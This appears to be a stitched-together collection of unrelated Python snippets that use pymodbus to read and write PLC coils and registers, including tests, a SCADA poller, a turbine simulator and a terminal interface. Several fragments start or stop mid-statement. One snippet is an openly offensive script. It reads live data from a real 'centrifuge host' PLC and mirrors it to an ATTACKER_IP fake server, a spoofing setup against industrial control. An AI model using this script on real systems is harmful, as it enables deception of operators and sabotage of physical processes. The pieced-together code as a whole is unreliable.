value="%s", mb_funcall="%s"' % (address, value, mb_funcall)) if self.isConnected is False: self.tryReconnect() result = None if (self.check_address_write(address) is True) or (force is True): try: if mb_funcall == 5: # Single Coil (FC=05) => modbus_write_bit result = self.client.write_coil(address, value, unit=self.modbusAddress) elif mb_funcall == 6: # Single Register (FC=06) result = self.client.write_register( address, value, unit=self.modbusAddress, skip_encode=skip_encode) elif mb_funcall == 15: # Multiple Coils (FC=15) => modbus_write_bits result = self.client.write_coils(address, value, unit=self.modbusAddress) elif mb_funcall == 16: # Multiple Registers (FC=16) result = self.client.write_registers( address, value, unit=self.modbusAddress, skip_encode=skip_encode) else: log.warn("Function call not supported: %s" % mb_funcall) except Exception as e: log.exception(e) return result def encode_field(self, value, mb_type='unit16'): builder = BinaryPayloadBuilder(endian=self.endian) if mb_type == 'bit' or mb_type == 'bits': builder.add_bits(value) elif mb_type == 'uint8': builder.add_8bit_uint(value) elif mb_type == 'uint16': builder.add_16bit_uint(value) elif mb_type == 'uint32': builder.add_32bit_uint(value) elif mb_type == 'uint64': builder.add_64bit_uint(value) elif mb_type == 'int8': builder.add_8bit_int(value) elif mb_type == 'int16': builder.add_16bit_int(value) elif mb_type == 'int32': builder.add_32bit_int(value) elif mb_type == 'int64': builder.add_64bit_int(value) elif mb_type == 'float32': builder.add_32bit_float(value) elif mb_type == 'float64': builder.add_64bit_float(value) elif mb_type == 'string' or mb_type == 'str': builder.add_string(value) else: log.warn('Not supported DataType: "%s"' % mb_type) return builder.build() def readRegistersAndDecode(self, registri, counter, mb_type='uint16', mb_funcall=3, force=False): tmp = None if (self.check_address(registri) is True) or (force is True): ret = self.readRegisters(registri, counter, mb_type, mb_funcall, force) if ret is not None: tmp = self.decode(ret, counter, mb_type, mb_funcall) return tmp def decode(self, raw, size, mb_type, mb_funcall=3): log.debug('decode param (raw=%s, size=%s, mb_type=%s, mb_funcall=%s)' % (raw, size, mb_type, mb_funcall)) if mb_funcall == 1: # Read Coil Status (FC=01) log.debug("decoder FC1 (raw: %s)" % raw) decoder = BinaryPayloadDecoder.fromCoils(raw, endian=self.endian) elif mb_funcall == 2: # Read Discrete Input (FC=02) log.debug("decoder FC2 (raw: %s)" % raw) decoder = BinaryPayloadDecoder(raw, endian=self.endian) elif mb_funcall == 3: # Read Holding Registers (FC=03) log.debug("decoder FC3 (raw: %s)" % raw) decoder = BinaryPayloadDecoder.fromRegisters(raw, endian=self.endian) elif mb_funcall == 4: # Read Input Registers (FC=04) log.debug("decoder stub FC4 (raw: %s)" % raw) decoder = BinaryPayloadDecoder(raw, endian=self.endian) else: log.debug("Function call not supported: %s" % mb_funcall) decoder = None result = "" if mb_type == 'bitmap': if size == 1: mb_type = 'int8' elif size == 2: mb_type = 'int16' elif size == 2: mb_type = 'int32' elif size == 4: mb_type = 'int64' if decoder is None: log.debug("decode none") result = raw else: try: if mb_type == 'string' or mb_type == 'utf8': result = decoder.decode_string(size) #elif mb_type == 'bitmap': # result = decoder.decode_string(size) elif mb_type == 'datetime': result = decoder.decode_string(size) elif mb_type == 'uint8': result = int(decoder.decode_8bit_uint()) elif mb_type == 'int8': result = int(decoder.decode_8bit_int()) elif mb_type == 'uint16': result = int(decoder.decode_16bit_uint()) elif mb_type == 'int16': result = int(decoder.decode_16bit_int()) elif mb_type == 'uint32': result = int(decoder.decode_32bit_uint()) elif mb_type == 'int32': result = int(decoder.decode_32bit_int()) elif mb_type == 'uint64': result = int(decoder.decode_64bit_uint()) elif mb_type == 'int64': result = int(decoder.decode_64bit_int()) elif mb_type == 'float32' or mb_type == 'float': result = float(decoder.decode_32bit_float()) elif mb_type == 'float64': result = float(decoder.decode_64bit_float()) elif mb_type == 'bit': result = int(decoder.decode_bits()) elif mb_type == 'bool': result = bool(raw[0]) elif mb_type == 'raw': result = raw[0] else: result = raw except ValueError as e: log.exception(e) result = raw return result def read1(self, startreg, mb_type, mb_funcall=3): return self.readRegisters(startreg, 1, mb_type, mb_funcall) def read2(self, startreg, mb_type, mb_funcall=3): return self.readRegisters(startreg, 2, mb_type, mb_funcall) def read3(self, startreg, mb_type, mb_funcall=3): return self.readRegisters(startreg, 3, mb_type, mb_funcall) def read4(self, startreg, mb_type, mb_funcall=3): return self.readRegisters(startreg, 4, mb_type, mb_funcall) def buffer_print(self): if not self.bufferReady(): log.debug('BUFFER empty ---') else: text = 'BUFFER [%s-%s]: ' % (self.bufferStart, self.bufferEnd) i = self.bufferStart for item in self.data_buffer: text += "%s(%s) " % (i, item) i += 1 log.debug(text) def bufferedReadRegisters(self, startreg, counter, mb_type='uint16', mb_funcall=3): log.debug( 'bufferedReadRegisters param (startreg=%s, counter=%s, mb_type=%s, mb_funcall=%s)' % (startreg, counter, mb_type, mb_funcall)) valido = False offset = self.maxRegsRead while (offset >= 0) and (valido != True): valido = self.check_address(startreg + offset) if valido is True: self.data_buffer = self.readRegisters(startreg, offset, mb_type, mb_funcall) if self.data_buffer != None: self.bufferStart = startreg self.bufferEnd = startreg + len(self.data_buffer) - 1 offset -= 1 self.buffer_print() return self.bufferReady() def bufferReady(self): return True if (self.data_buffer is not None) else False def bufferCleanup(self): if self.bufferReady(): self.data_buffer = None def inBuffer(self, startreg, conteggio): if not self.bufferReady(): return False return True if ((startreg >= self.bufferStart) and ((startreg + conteggio) <= self.bufferEnd)) else False def cachedRead(self, startreg, counter, mb_type='uint16', mb_funcall=3): log.debug( 'cachedRead param (startreg=%s, counter=%s, mb_type=%s, mb_funcall=%s)' % (startreg, counter, mb_type, mb_funcall)) if not self.bufferReady(): self.bufferedReadRegisters(startreg, counter, mb_type, mb_funcall) if not self.inBuffer(startreg, counter): self.bufferedReadRegisters(startreg, counter, mb_type, mb_funcall) regs = [] i = 0 while i < counter: regs.append(self.data_buffer[startreg - self.bufferStart + i]) i += 1 return self.decode(regs, counter, mb_type, mb_funcall) def cachedRead1(self, startreg, mb_type='uint16', mb_funcall=3): if not self.bufferReady(): self.bufferedReadRegisters(startreg, 1, mb_type, mb_funcall) if not self.inBuffer(startreg, 1): self.bufferedReadRegisters(startreg, 1, mb_type, mb_funcall) return self.decode(self.data_buffer[startreg - self.bufferStart], 1, mb_type) def cachedRead2(self, startreg, mb_type='uint16', mb_funcall=3): if not self.bufferReady(): self.bufferedReadRegisters(startreg, 2, mb_type, mb_funcall) if not self.inBuffer(startreg, 2): self.bufferedReadRegisters(startreg, 2, mb_type, mb_funcall) regs = [] regs.append(self.data_buffer[startreg - self.bufferStart]) regs.append(self.data_buffer[startreg - self.bufferStart + 1]) return self.decode(regs, 2, mb_type) def cachedRead3(self, startreg, mb_type='uint16', mb_funcall=3): if not self.bufferReady(): self.bufferedReadRegisters(startreg, 3, mb_type, mb_funcall) if not self.inBuffer(startreg, 3): self.bufferedReadRegisters(startreg, 3, mb_type, mb_funcall) regs = [] regs.append(self.data_buffer[startreg - self.bufferStart]) regs.append(self.data_buffer[startreg - self.bufferStart + 1]) regs.append(self.data_buffer[startreg - self.bufferStart + 2]) return self.decode(regs, 3, mb_type) def cachedRead4(self, startreg, mb_type='uint16', mb_funcall=3): if not self.bufferReady(): self.bufferedReadRegisters(startreg, 4, mb_type, mb_funcall) if not self.inBuffer(startreg, 4): self.bufferedReadRegisters(startreg, 4, mb_type, mb_funcall) regs = [] regs.append(self.data_buffer[startreg - self.bufferStart]) regs.append(self.data_buffer[startreg - self.bufferStart + 1]) regs.append(self.data_buffer[startreg - self.bufferStart + 2]) regs.append(self.data_buffer[startreg - self.bufferStart + 3]) return self.decode(regs, 4, mb_type)
# is displayed below along with some assert checks. Note that some modbus # implementations differentiate holding/input discrete/coils and as such # you will not be able to write to these, therefore the starting values # are not known to these tests. Furthermore, some use the same memory # blocks for the two sets, so a change to one is a change to the other. # Keep both of these cases in mind when testing as the following will # _only_ pass with the supplied async modbus server (script supplied). #---------------------------------------------------------------------------# log.debug("Write to a Coil and read back") rq = client.write_coil(0, True, unit=1) rr = client.read_coils(0, 1, unit=1) assert(rq.function_code < 0x80) # test that we are not an error assert(rr.bits[0] == True) # test the expected value log.debug("Write to multiple coils and read back- test 1") rq = client.write_coils(1, [True]*8, unit=1) assert(rq.function_code < 0x80) # test that we are not an error rr = client.read_coils(1, 21, unit=1) assert(rr.function_code < 0x80) # test that we are not an error resp = [True]*21 # If the returned output quantity is not a multiple of eight, # the remaining bits in the final data byte will be padded with zeros # (toward the high order end of the byte). resp.extend([False]*3) assert(rr.bits == resp) # test the expected value log.debug("Write to multiple coils and read back - test 2") rq = client.write_coils(1, [False]*8, unit=1) rr = client.read_coils(1, 8, unit=1)
class plcInterrogator(threading.Thread): def __init__(self, plcIP, plcPort, plcName): self.plcIP=plcIP self.plcPort=plcPort self.registers = [0] * 10 self.coils = [0]*10 self.plcName = plcName self.client = ModbusClient(self.plcIP) threading.Thread.__init__(self) self.errorFlag = False self.errorMsg = '' self.reportedMode = 'NORMAL' def manageTransactionCounter(self): #checks with the Transaction Manager to ensure we don't go above #255 transactions. Bug in pymodbus allows it to go to 256 and errors out #any transaction requests if self.client.transaction.tid > 225: #about to go over 255, reset it self.client.transaction.reset() def getHoldingRegisters(self, startByte, bytesCount): regs = self.client.read_holding_registers(address=startByte,count=bytesCount) self.manageTransactionCounter() return regs.registers def getCoils(self, startBit, bitCount): plcStatus = self.client.read_coils(address=startBit,count=bitCount) self.manageTransactionCounter() return plcStatus.bits def setCoils(self, address, values): self.client.write_coils(address, values) self.manageTransactionCounter() def getMaintenanceCode(self): if self.coils[1] == True: #0 = normal mode return 0 elif self.coils[5] == True: #1 = mainteannce return 1 elif self.coils[7] == True: #2 = testing return 2 return 9 def queueUpdate(self): lightData = '' for x in self.registers[0:4]: lightData = lightData + str(x) + "\n" returnData = "LightData90210\n" + self.plcName + "\n" + lightData + str(self.getMaintenanceCode()) #addToScadaMessageQueue(returnData) broadCastMessage(returnData) def handleRunningConnectionError(self, e): #take care of a connecion issue to this plc. Report the Error to any websockets and retry in 5 seconds self.errorMsg = "The following error occured: " + str(e) + "\nTrying again in 5 seconds" self.errorFlag = True broadCastMessage("ERROR: No connection to : " + self.plcName) time.sleep(5) self.errorMsg = '' self.errorFlag = False self.run() def run(self): while True: try: self.coils = self.getCoils(0,10) rr = self.getHoldingRegisters(0,10) #a = self.registers #registerIsSame = len(a)==len(rr) and len(a)==sum([1 for i,j in zip(a,rr) if i==j]) #Compares the 2 lists #if registerIsSame == False: #registers have changed. update all websocket clients #self.registers = rr #send an update to the websocket time.sleep(1.0) self.registers = rr self.queueUpdate() except Exception as e: self.handleRunningConnectionError(e) def setNormalModeCommand(self): #sets the plc to normal operation addToScadaMessageQueue("Putting " + self.plcName + " into Normal mode"); try: rq = self.setCoils(0,[1,0]) status = self.getCoils(0,10) success = status[0] or status[1] if success: pass else: addToScadaMessageQueue("Unable to put " + self.plcName + " into NORMAL mode") broadCastMessage("Error code 4: Unable to put " + self.plcName + " into NORMAL mode") except Exception as e: addToScadaMessageQueue(e) broadCastMessage("Error code 5: The connection with " + self.plcName + " has been lost") def setTestMode(self): #sets the plc to TEST operation addToScadaMessageQueue("Putting " + self.plcName + " into TEST mode"); try: rq = self.setCoils(6,[1]) status = self.getCoils(0,10) success = status[6] or status[7] if success: pass else: addToScadaMessageQueue("Unable to put " + self.plcName + " into TEST mode") broadCastMessage("Error code 4: Unable to put " + self.plcName + " into TEST mode") except Exception as e: addToScadaMessageQueue(e) broadCastMessage("Error code 5: The connection with " + self.plcName + " has been lost") def setMaintenanceMode(self): #sets the plc to Maintenance Mode addToScadaMessageQueue("Putting " + self.plcName + " into maintenance mode"); try: rq = self.setCoils(4,[1]) status = self.getCoils(0,10) success = status[4] or status[5] if success: pass else: addToScadaMessageQueue("Unable to put " + self.plcName + " into MAINTENANCE mode") broadCastMessage("Error code 4: Unable to put " + self.plcName + " into MAINTENANCE mode") except Exception as e: addToScadaMessageQueue(e) broadCastMessage("Error code 5: The connection with " + self.plcName + " has been lost")
class clientthreads(threading.Thread): def __init__(self, vnic, ipaddr, port): threading.Thread.__init__(self) self.ipaddr = ipaddr # ip address self.port = port # port address self.vnic = vnic # virtual nic self.mode = "" # server or client self.state = "" # up or down self.dest = "" # destination address for client self.clientstop = threading.Event() self.server = "" self.client = "" self.framer = "" self.vnicm = "" self.runtime= 0 self.delayr = random.uniform(0,5) self.delayw = random.uniform(0,60) self.firstdelay = 0 self.pstart= "" def run(self): self.client = ModbusTcpClient(self.dest, self.port, source_address=(self.ipaddr, 0), retries=1, retry_on_empty=True) if(self.mode=="read"): self.clientintr() elif(self.mode=="write"): self.clientintw() else: print "wrong mode specified" def clientintr(self): # instantiate server stuff while(not self.clientstop.is_set()): if(time.time() - self.pstart > self.runtime): print "stopping" break if(self.firstdelay < 1): print "Start RDelay is: " + str(self.delayr) time.sleep(self.delayr) self.firstdelay = 1 print "Starting Reads" self.clientreads() print "\n\r-----read-----\n\r" print self.dest print time.time() - self.pstart print "------------------\n\r" def clientintw(self): # instantiate server stuff while(not self.clientstop.is_set()): if(time.time() - self.pstart > self.runtime): print "stopping" break if(self.firstdelay < 1): print "Start WDelay is: " + str(self.delayw) time.sleep(self.delayw) self.firstdelay = 1 print "Starting Writes" self.clientwrites() print "\n\r-----write----\n\r" print self.dest print time.time() - self.pstart print "------------------\n\r" def clientreads(self): self.client.read_coils(1, 10) self.client.read_discrete_inputs(1, 10) self.client.read_holding_registers(1, 10) self.client.read_input_registers(1, 10) time.sleep(5) def clientwrites(self): self.client.write_coil(1, True) self.client.write_register(1, 3) self.client.write_coils(1, [True]*10) self.client.write_registers(1, [3]*10) time.sleep(60) def alloc(self): # Allocate ip address if (validateIP(self.ipaddr, self.vnicm)): cmdargs = [self.vnic, self.ipaddr] subprocess.call(["ifconfig"] + cmdargs) else: return 0 def dealloc(self): # De-allocate ip address cmdargs = [self.vnic] subprocess.call(["ifconfig"] + cmdargs + ["down"]) def stop(self): self.clientstop.set() return
#time.sleep(5) #log.debug("Reading Coils") #rr = client.read_coils(1, 1, unit=0x01) #time.sleep(3) log.debug("Ecrire True sur la bobine 0") rq = client.write_coil(0, True, unit=1) rr = client.read_coils(0, 1, unit=1) assert (rq.function_code < 0x80) # test that we are not an error print("Reponse :" + str(rr.bits[0])) assert (rr.bits[0] == True) # test the expected value time.sleep(3) log.debug("Ecrire plusieurs bobines") rq = client.write_coils(1, [True] * 8, unit=1) assert (rq.function_code < 0x80) # test that we are not an error rr = client.read_coils(1, 21, unit=1) assert (rr.function_code < 0x80) # test that we are not an error resp = [True] * 21 print("rep : " + str(rr)) # If the returned output quantity is not a multiple of eight, # the remaining bits in the final data byte will be padded with zeros # (toward the high order end of the byte). resp.extend([False] * 3) assert (rr.bits == resp) # test the expected value #time.sleep(3) #log.debug("Write to multiple coils and read back - test 2") #rq = client.write_coils(1, [False]*8, unit=1) #rr = client.read_coils(1, 8, unit=1)
def tui_main(stdscr, args): if args.host: client = ModbusTcpClient(args.host, port=args.port) else: # This prevents arduino autoreset. It does not work on the first call # because it doesn't give time to the Arduino program to # initialize. After that it is not necessary until the configuration # of the port changes again but keeping it here seems like the # cleanest and simplest solution. os.system('stty -hup -F %s' % SERIAL_PORT) client = ModbusSerialClient(method="rtu", port=SERIAL_PORT, stopbits=1, bytesize=8, parity='E', baudrate=19200, dsrdtr=False, timeout=0.01) conn = client.connect() _configure_curses(stdscr) coil_table = CoilTable() counter_table = CounterTable() analog_table = AnalogTable() ud_table = UserDataTable() tables = Circular([coil_table, analog_table, counter_table, ud_table]) _center(stdscr, tables) read_op = 0 coils = [] counters = [] analog_values = [] user_data_values = [] while True: if read_op == READ_COILS: coils = client.read_coils(0x0000, 0xd8, unit=UNIT_ID).bits elif read_op == READ_COUNTERS: counters = client.read_holding_registers(0x000a, 24, unit=UNIT_ID).registers elif read_op == READ_ANALOG: analog_values = client.read_holding_registers( 0x0000, 10, unit=UNIT_ID).registers elif read_op == READ_USER_DATA: user_data_values = client.read_holding_registers( 0x0022, 14, unit=UNIT_ID).registers read_op = (read_op + 1) % READ_OP_COUNT coil_table.set_data(coils) analog_table.set_data(analog_values) counter_table.set_data(counters) ud_table.set_data(user_data_values) stdscr.touchwin() panel.update_panels() curses.doupdate() ch = stdscr.getch() action = None if ch == -1: continue elif ch == ord('q'): return elif ch == ord('\t'): tables.current().hide_selection(True) tables.next() tables.current().hide_selection(False) elif ch == ord('h'): show_dialog(stdscr, 'Help', HELP_MSG) elif ch == curses.KEY_RESIZE: stdscr.clear() stdscr.border(0) _center(stdscr, tables) elif ch == ord('s'): action = ('write_coils', 0x0100, [1]) elif ch == ord('l'): action = ('write_coils', 0x0101, [1]) else: action = tables.current().handle_ch(ch) tl_attr = curses.A_NORMAL if action: cmd = action[0] if cmd == 'write_coils': cmd, addr, bits = action result = client.write_coils(addr, bits, unit=UNIT_ID) tl_msg = 'write_coils(0x%04x, %s, unit=0x%x) -> %s' % ( addr, bits, UNIT_ID, result) if result.function_code & 0x80: tl_attr = COLOR_WHITE_ON_RED | curses.A_BOLD read_op = READ_COILS if cmd == 'write_registers': cmd, addr, words = action result = client.write_registers(addr, words, unit=UNIT_ID) tl_msg = 'write_registers(0x%04x, %s, unit=0x%x) -> %s' % ( addr, words, UNIT_ID, result) if result.function_code & 0x80: tl_attr = COLOR_WHITE_ON_RED | curses.A_BOLD read_op = READ_COUNTERS else: tl_msg = str(action) else: tl_msg = curses.keyname(ch).decode('utf-8') stdscr.addstr(1, 1, tl_msg, tl_attr) stdscr.clrtoeol()
def loop_process(): global speed # Main Process err_count = 0 coils_count = 20 gust_state = 0 # 0 = no / 1 = begin / 2 = in progress / 3 = last gust_cmp = 0 while True: sleep(1) # try gust if gust_state == 3: gust_state = 0 if gust_state == 1 or gust_state == 2: gust_state = 2 gust_cmp -= 1 if gust_cmp == 0: gust_state = 3 if randint(0, 20) == 10 and gust_state == 0: gust_state = 1 gust_cmp += 5 try: client = ModbusTcpClient(modbus_server_ip, modbus_server_port) coils = client.read_coils(0, count=2, unit=UNIT).bits coils = coils[:2] registers = client.read_holding_registers(0, count=2, unit=UNIT).registers registers = registers[:2] speed_min, speed_max = client.read_holding_registers( 10, 2, unit=UNIT).registers broken = client.read_coils(25, count=1, unit=UNIT).bits[0] # update wind speed ## speed = registers[0] global speed if randbits(1): speed += 1 else: speed -= 1 if gust_state == 1: print '**new gust**' speed += 10 if gust_state == 3: print '**eo gust**' speed -= 10 if speed < 0: speed = 0 if speed > 30: speed = 30 registers[0] = speed # broken if broken: print '[broken eolienne]' registers[1] = 0 client.write_registers(0, registers, unit=UNIT) updateGPIO(coils, gust_state) continue # manual stop if not coils[0]: print '[stop manually]' registers[1] = 0 client.write_registers(0, registers, unit=UNIT) updateGPIO(coils, gust_state) continue # wind speed to slow/quick if speed < speed_min or speed > speed_max: print '[stop due to the wind speed] (%d m/s)' % registers[0] coils[1] = False client.write_coil(1, False, unit=UNIT) registers[1] = 0 client.write_registers(0, registers, unit=UNIT) updateGPIO(coils, gust_state) continue powerloss = 0 # 0 % of lost # unwanted case : Wind speed < 4 m/s will consume power production (thermic loss) if speed < 4: powerloss = 25 if speed < 2: powerloss = 50 # unwanted case : Wind speed > 25 m/s will break the eolienne if speed > 25: broken = True print '[wind breaks the eolienne]' client.write_coil(25, True, unit=UNIT) registers[1] = 0 client.write_registers(0, registers, unit=UNIT) continue # otherwise, running # [production] P = 0.29 * D^2 * v^3 # P = power (W) # D = rotor diameter = 24m # v = wind speed (m/s) coils[1] = True power = (0.29 * pow(24, 2) * pow(registers[0], 3)) / 1000 if powerloss != 0: power = int(power * (1 - powerloss / 100)) registers[1] = power print 'producting %d kW (%d m/s)' % (registers[1], registers[0]) client.write_coils(0, coils, unit=UNIT) client.write_registers(0, registers, unit=UNIT) if GPIO: updateGPIO(coils, gust_state) except Exception as err: print '[error] %s' % err err_count += 1 if err_count == 5: print '[error] 5 errors happened in the process ! exiting...' sys.exit(1)
if args.count == 1: # NOTE: coil is a list with one bool if args.coil[0] == 1: co_write = client.write_coil(args.offset, True) else: co_write = client.write_coil(args.offset, False) assert(co_write.function_code < 0x80) else: coils = [] for c in args.coil: if c == 1: coils.append(True) else: coils.append(False) cos_write = client.write_coils(args.offset, coils) assert(cos_write.function_code < 0x80) elif args.mode == 'r': # NOTE: read_holding_registers if args.type == 'HR': hr_read = client.read_holding_registers(args.offset, count=args.count) assert(hr_read.function_code < 0x80) print(hr_read.registers[0:args.count]) # NOTE: read_holding_registers elif args.type == 'IR': ir_read = client.read_input_registers(args.offset,
print('==== DO ====') #-- FC01: Read multi-coils status (0xxxx) for DO # read_coils(start_addr, bit count, unit=sid) rr = client.read_coils(0, 1, unit=1) #被數到的打開遮罩,沒數到的被遮罩 print(rr, "DO value=", rr.bits[0]) #if error : Exception Response(129, 1, IllegalFunction) # 01 01 00 00 00 01 FD CA # 01 81 01 81 90 #-- FC05: Write single-coil (0xxxx) for DO # read_coils(start_addr, bit count, unit=sid) print('-- write single DO --') rq = client.write_coil(5, True, unit=1) print(rq) rr = client.read_coils(0, 8, unit=1) print(rr, "DO value=", rr.bits) #if error: Exception Response(129, 1, IllegalFunction) # 01 05 00 01 FF 00 DD FA # 01 85 01 83 50 #-- FC15: Write multi-coils ( 0xxxx ) for DO # write_coils(start_addr, value_array, unit=sid) print('-- write multi DO --') rq = client.write_coils(0, [False] * 8, unit=1) rq = client.write_coils(0, [True] * 4, unit=1) print(rq) rr = client.read_coils(0, 8, unit=1) print(rr, "DO value=", rr.bits) client.close()
from pymodbus.payload import BinaryPayloadDecoder from pymodbus.client.sync import ModbusTcpClient ATTACKER_IP = '' #change me REAL_SERVER_IP = '' #IP for the centrifuge host client_real_server = ModbusTcpClient(REAL_SERVER_IP, port=502) # real server. client_fake_server = ModbusTcpClient(ATTACKER_IP, port=502) #our fake server connection = client_real_server.connect() if connection: client_fake_server.write_registers(1, 7500, unit=1) real_coils = client_real_server.read_coils(address=0x00, count=0x05, unit=0x01).bits client_fake_server.write_coils(0, real_coils[:], unit=1) while 1 == 1: #read the real coils real_coils = client_real_server.read_coils(address=0x00, count=0x05, unit=0x01).bits print(real_coils[0:4]) #read the real registers real_registers = client_real_server.read_holding_registers( address=0x00, count=5, unit=0x01).registers print(real_registers) #populate our fake server with real-time data from real server client_fake_server.write_registers(0, real_registers[0:1], unit=1) client_fake_server.write_registers(2, real_registers[2:], unit=1) client_real_server.close() client_fake_server.close()
if args.count == 1: # NOTE: coil is a list with one bool if args.coil[0] == 1: co_write = client.write_coil(args.offset, True) else: co_write = client.write_coil(args.offset, False) assert (co_write.function_code < 0x80) else: coils = [] for c in args.coil: if c == 1: coils.append(True) else: coils.append(False) cos_write = client.write_coils(args.offset, coils) assert (cos_write.function_code < 0x80) elif args.mode == 'r': # NOTE: read_holding_registers if args.type == 'HR': hr_read = client.read_holding_registers(args.offset, count=args.count) assert (hr_read.function_code < 0x80) print(hr_read.registers[0:args.count]) # NOTE: read_holding_registers elif args.type == 'IR': ir_read = client.read_input_registers(args.offset, count=args.count)
class SyncClient: def __init__(self): self.client = None self.connectIp = 0 def connectClient(self, connectIp, port=502, timeout = 1): self.connectIp = connectIp print(self.connectIp) if self.client is None: try: self.client = ModbusClient(self.connectIp, port, timeout = timeout) print(self.client) if self.client.connect(): print("connect", self.client) return self.client else: print("connect error") return False except: print("connect error") return False def closeClient(self): if self.client is not None: self.client.close() self.client = None def writeCoils(self, startCoil=0, data=[False]*6): if(startCoil is None): print("start bit is Null") return else: self.client.write_coils(startCoil, data) def writeRegisters(self, startRegister=600, data=[1]*15): try: self.client.write_registers(startRegister, data, unit=UNIT) except: return False def readCoil(self, startBit=0, endBit=26): try: readCoils = None readCoils = self.client.read_coils(startBit, endBit, unit=UNIT) if(readCoils != None): return readCoils.bits else: print("read Coil error") return False except: return False # print("rr.coil", readCoils.bits) def readRegister(self, startBit=0, count =15): # log.debug("Write to a Coil and read back") if self.client is not None: try: readHoldingRegs = self.client.read_holding_registers(startBit, count, unit=UNIT) return readHoldingRegs.registers except: print("read Register error") return False else: print("check connect") return False